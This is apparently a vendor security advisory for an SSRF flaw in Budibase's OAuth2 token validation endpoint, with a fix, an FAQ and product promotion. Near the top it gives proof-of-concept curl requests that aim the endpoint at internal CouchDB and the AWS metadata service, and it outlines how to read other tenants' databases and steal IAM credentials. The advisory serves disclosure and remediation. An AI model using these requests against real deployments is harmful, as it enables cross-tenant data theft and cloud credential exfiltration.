CVE-2026-48153

Budibase: SSRF via OAuth2 token endpoint URL reaches internal hosts and cloud metadata

const resp = await fetch(config.url, fetchConfig)

url: Joi.string().required(),

curl -sS -b "$BUILDER_COOKIE" -X POST "$BASE/api/oauth2/validate" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:5984/","clientId":"t","clientSecret":"t",
       "method":"BODY","grantType":"client_credentials"}'

{"valid":false,"message":"Method Not Allowed"}

curl -sS -b "$BUILDER_COOKIE" -X POST "$BASE/api/oauth2/validate" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"t","clientSecret":"t","method":"BODY","grantType":"client_credentials"}'

{"valid":false,"message":"invalid json response body at http://169.254.169.254/latest/meta-data/ reason: Unexpected token 'N', \"Not Found\" is not valid JSON"}

Two concrete paths, both reachable from any builder account (free-tier signup on Budibase Cloud is enough):

1. Cross-tenant data read on Cloud. Budibase Cloud multi-tenants on a shared CouchDB; each tenant gets its own <tenantId>_global-db and app_<id> databases on the same port 5984. The blacklist is what keeps a builder from talking to CouchDB directly. With that bypassed, Alice can GET http://127.0.0.1:5984/_all_dbs via a 302 redirector and enumerate every other tenant's databases, then read their _users, app definitions, and datasource configs (which include third-party credentials). None of this traffic goes through Budibase's tenant isolation layer, so standard app-level access controls do not apply.
2. IAM credential exfiltration. Alice points the URL at http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>/ and receives the instance role credentials in the validation error path. Those credentials carry whatever AWS permissions the Budibase instance role holds.

Self-hosted deployments face the same CouchDB/Redis/MinIO access plus any other service reachable on the host or pod network. The blacklist was explicitly added to prevent exactly this, and every other outbound fetch path uses it.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-48153 has a CVSS score of 8.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.39.0); upgrading removes the vulnerable code path.

Kodem intelligence

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Call blacklist.isBlacklisted before the fetch and set redirect: "manual" on fetchConfig, matching the pattern in outboundFetch.ts:

import { blacklist } from "@budibase/backend-core"

async function fetchToken(config: { url: string; /* ... */ }) {
  config = await processEnvironmentVariable(config)
  if (await blacklist.isBlacklisted(config.url)) {
    throw new Error("OAuth2 token URL is blocked.")
  }
  const fetchConfig: RequestInit = {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: new URLSearchParams({ grant_type: "client_credentials" }),
    redirect: "manual",
  }
  // ...
}

Alternatively, replace the fetch call with fetchWithBlacklist, which handles both checks and re-validates redirect targets.

Found by aisafe.io

1. What is CVE-2026-48153? CVE-2026-48153 is a high-severity server-side request forgery (SSRF) vulnerability in @budibase/server (npm), affecting versions < 3.39.0. It is fixed in 3.39.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-48153? CVE-2026-48153 has a CVSS score of 8.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @budibase/server are affected by CVE-2026-48153? @budibase/server (npm) versions < 3.39.0 is affected.
4. Is there a fix for CVE-2026-48153? Yes. CVE-2026-48153 is fixed in 3.39.0. Upgrade to this version or later.
5. Is CVE-2026-48153 exploitable, and should I be worried? Whether CVE-2026-48153 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-48153 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-48153? Upgrade @budibase/server to 3.39.0 or later.

Other vulnerabilities in @budibase/server